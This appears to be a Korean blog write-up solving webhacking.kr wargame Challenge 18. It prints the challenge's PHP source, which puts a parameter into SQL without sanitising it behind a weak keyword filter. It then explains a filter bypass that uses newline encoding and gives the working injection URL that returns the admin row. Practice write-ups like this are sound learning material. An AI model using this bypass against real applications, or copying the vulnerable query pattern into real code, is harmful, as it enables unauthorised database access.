늘모자란, 개발 :: [webhacking.kr] Challenge 18

늘모자란, 개발



싱거운 문제들의 연속이다가 다시 sql injection이 나왔다.
시키는데로 index.phps를 보도록 하자.

<html>
<head>
<title>Challenge 18</title>
<style type="text/css">
body { background:black; color:white; font-size:10pt; }
input { background:silver; }
a { color:lightgreen; }
</style>
</head>
<body>
<br><br>
<center><h1>SQL INJECTION</h1>
<form method=get action=index.php>
<table border=0 align=center cellpadding=10 cellspacing=0>
<tr><td><input type=text name=no></td><td><input type=submit></td></tr>
</table>
</form>
<a style=background:gray;color:black;width:100;font-size:9pt;><b>RESULT</b><br>
<?
if($_GET[no])
{

if(eregi(" |/|\(|\)|\t|\||&|union|select|from|0x",$_GET[no])) exit("no hack");

$q=@mysql_fetch_array(mysql_query("select id from challenge18_table where id='guest' and no=$_GET[no]"));

if($q[0]=="guest") echo ("hi guest");
if($q[0]=="admin")
{
@solve();
echo ("hi admin!");
}

}

?>
</a>
<br><br><a href=index.phps>index.phps</a>
</cener>
</body>
</html> 


no라는 파라미터를 받고..
eregi 로 필터링하고 있다. 뜬금없이 하는 말이지만 php7.0부터는 eregi 가 removed되었다. 쓰지말자.
쿼리문을 보면 이름부터 guest를 select하도록 되어있다. 그런데 우린 admin을 원한다. 따라서 이녀석을 깨야한다.
and값을 무효로 만들기 위해 일단 쓰레기값을 하나 넣는다. 그 뒤에 or을 넣어 새로운값을 select하도록 하자. 그리고 공백은 필터링되고 있으니, 여태 잘 써먹고 있는 %0a를 쓰자.

http://webhacking.kr/challenge/web/web-32/index.php?no=-1%0Aor%0Ano=2


solved!
2016/03/29 12:44 2016/03/29 12:44